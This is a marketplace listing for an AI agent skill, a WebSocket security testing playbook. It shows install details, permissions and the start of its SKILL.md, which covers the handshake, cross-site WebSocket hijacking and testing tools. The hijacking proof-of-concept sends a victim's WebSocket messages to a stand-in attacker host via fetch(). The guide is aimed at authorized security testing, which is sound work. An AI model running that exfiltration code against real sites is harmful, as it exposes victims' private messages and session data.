websocket-security
WebSocket handshake, CSWSH, tooling (wsrepl, ws-harness, Burp), and common flaws.
Skill by langbyyi
Install
Works with Claude Code, Claude apps, Codex, Cursor, Gemini CLI, GitHub Copilot, VS Code, OpenCode, Goose, Windsurf. Read the repository before you give any tool access to your data.
npx agentmarket install skill/langbyyi-websocket-security
Asks which of your tools to add it to (Claude Code, Codex, Cursor, VS Code, Windsurf, Gemini CLI, Claude Desktop) and shows the change first. See https://agentmart.dev/cli.
Get the weekly diff
The weekly diff: one email a week with new agent tools, notable updates and grade changes, plus security alerts for tools you follow. Double opt-in, one-click unsubscribe.
About
Use cases: security
Reviews
Write a reviewNo reviews yet. Installed it? Reviews come from verified installers only. How reviews work
Permissions
What this skill can do and what it asks for, from its SKILL.md. Checked Oct 25, 2026.
- Tools
- No tools found
- Secrets
- None asked for
- Install scripts
- None found
Network hosts it talks to 1
codeload.github.com· found in install command
Files it touches
~/.claude/skills/websocket-security
What's inside
- Skill name
websocket-security- Description
- WebSocket handshake, CSWSH, tooling (wsrepl, ws-harness, Burp), and common flaws. Use when apps use real-time channels, chat, notifications, or WS-backed APIs.
- License
- Apache-2.0
- Instructions
- 178 lines in SKILL.md · view on GitHub
Before installing
- Instructions call the network
Files (1)
- SKILL.md
SKILL.md (first lines)
---
name: websocket-security
description: >-
WebSocket handshake, CSWSH, tooling (wsrepl, ws-harness, Burp), and common flaws. Use when apps use real-time channels, chat, notifications, or WS-backed APIs.
---
# SKILL: WebSocket Security
> **AI LOAD INSTRUCTION**: This skill covers WebSocket protocol basics, cross-site WebSocket hijacking (CSWSH), practical tooling bridges, and common vulnerability classes. Apply only in **authorized** tests; treat tokens and message content as sensitive. For REST/GraphQL companion testing, cross-load **[api-security](../api-sec/SKILL.md)** when present in the workspace.
## QUICK START
### First-pass probes
| Signal | Probe | Why |
|---|---|---|
| `ws://` or `wss://` endpoint found | Connect and send `{"action":"ping"}` | Confirm WebSocket is live and message format |
| Handshake does not validate Origin | Open WS from `evil.com` JS PoC | CSWSH — hijack victim's channel |
| Auth checked on handshake? | Connect with no cookies / invalid token | Missing auth = unauthenticated access |
| Message tampering | Modify JSON fields in WS frames | Server-side injection (SQLi, command injection) |
| `ws://` in production | Flag cleartext transport | MITM risk |
```bash
# Quick test — connect and probe WebSocket
wscat -c wss://target.example.com/ws
```
During proxy or raw traffic review, watch for:
```http
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Sec-WebSocket-Protocol: optional-subprotocol
```
Server success response indicators:
```http
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
```
**Routing hint**: Filter for `101` and `Upgrade: websocket` in Burp/browser DevTools; for deep API testing, align authentication and authorization models with the `api-security` skill.
---
## 1. PROTOCOL BASICS
### Client request (typical)
- **`Upgrade: websocket`** and **`Connection: Upgrade`** — required upgrade handshake.
- **`Sec-WebSocket-Key`** — base64 nonce; server hashes with magic GUID and responds with **`Sec-WebSocket-Accept`**.
- **`Sec-WebSocket-Version: 13`** — current standard version for browser interoperability.
### Server response
- **`HTTP/1.1 101 Switching Protocols`** — handshake complete; subsequent frames are WebSocket binary/text frames per RFC.
Minimal conceptual flow:
```text
Client: HTTP GET + Upgrade headers
Server: 101 + Sec-WebSocket-Accept
Channel: framed messages (text/binary), ping/pong, close
```
---
## 2. CROSS-SITE WEBSOCKET HIJACKING (CSWSH)
### Condition
- The server **does not validate `Origin`** (or equivalent binding) on the WebSocket handshake, **and**
- The victim has an **active session** (cookie-based or browser-stored creds) to the target site.
Then a malicious page loaded in the victim’s browser may open a WebSocket **as the victim**, similar in spirit to CSRF but for a **persistent bidirectional channel**.
### Proof-of-concept pattern (laboratory / authorized target only)
```javascript
const ws = new WebSocket('wss://vulnerable.example.com/messages');
ws.onopen = () => { ws.send('HELLO'); };
ws.onmessage = (event) => {
fetch('https://attacker.example.net/?' + encodeURIComponent(event.data));
};
```
**Testing notes**: Confirm whether **`Origin`** is checked, whether **cookies** are sent (`SameSite` rules), and whether **subprotocol** or **custom headers** are required—missing checks increase CSWSH risk.
---
## 3. TESTING WITH TOOLS
### wsrepl
```bash
pip install wsrepl
wsrepl -u wss://target.example.com/ws -P auth_plugin.py
```
Use a **plugin** to reproduce browser cookies, headers, or token refresh during the WebSocket lifecycle.
### ws-harness (bridge to HTTP for other tools)
```bash
python ws-harness.py -u "ws://127.0.0.1:8765/path" -m ./message.txt
```
Example downstream use with SQL injection tooling over the bridged HTTP surface (adjust URL to local listener):
```bash
sqlmap -u "http://127.0.0.1:8000/?fuzz=test" --batch
```
### Burp Suite ecosystemFrom langbyyi/CyberStrikeAI-SRC, Apache-2.0.
More from langbyyi/CyberStrikeAI-SRC
- 0.735score
burp-mcp-vuln-check
langbyyi
Automate low-impact web vulnerability verification through Burp MCP.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
csrf-cross-site-request-forgery
langbyyi
CSRF testing playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
browser-assisted-hunting
langbyyi
浏览器交互式挖洞:登录态操作、双账号越权对比、SPA渲染取证、DOM XSS确认、验证码登录、前端隐藏功能绕过。 Use when CLI/HTTP evidence is insufficient and the target needs real browser interaction to confirm.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
clickjacking
langbyyi
Clickjacking playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
crlf-injection
langbyyi
CRLF injection playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
cors-cross-origin-misconfiguration
langbyyi
CORS misconfiguration testing playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
business-logic-vulnerabilities
langbyyi
Business logic vulnerability playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
cmdi-command-injection
langbyyi
Command injection playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
api-sec
langbyyi
Entry P1 category router for API security.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
authbypass-authentication-flaws
langbyyi
Authentication bypass testing playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
ssti-server-side-template-injection
langbyyi
SSTI playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
dependency-confusion
langbyyi
Supply-chain testing via package-manager dependency confusion.
SkillAFreshness: A★ 131Claude Code +9
Signals
- Stars
- 131
- Forks
- 11
- Open issues
- 0
- Last commit (this folder)
- Aug 6, 2026 (2 months ago)
- Last release
- Oct 16, 2026 (12 days ago)
From GitHub (fetched Oct 24, 2026).
Details
- License
- Apache-2.0
- Repository
- github.com/langbyyi/CyberStrikeAI-SRC
- First seen
- Oct 24, 2026
- Last checked
- Oct 24, 2026
- Source
- GitHubgithub-graphql
More from langbyyi
- 0.735score
burp-mcp-vuln-check
langbyyi
Automate low-impact web vulnerability verification through Burp MCP.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
browser-assisted-hunting
langbyyi
浏览器交互式挖洞:登录态操作、双账号越权对比、SPA渲染取证、DOM XSS确认、验证码登录、前端隐藏功能绕过。 Use when CLI/HTTP evidence is insufficient and the target needs real browser interaction to confirm.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
api-sec
langbyyi
Entry P1 category router for API security.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
authbypass-authentication-flaws
langbyyi
Authentication bypass testing playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
ssti-server-side-template-injection
langbyyi
SSTI playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
business-logic-vulnerabilities
langbyyi
Business logic vulnerability playbook.
SkillAFreshness: A★ 131Claude Code +9
Cite this page
websocket-security skill. Agent Mart. https://agentmart.dev/skills/langbyyi-websocket-security (last updated 2026-10-24)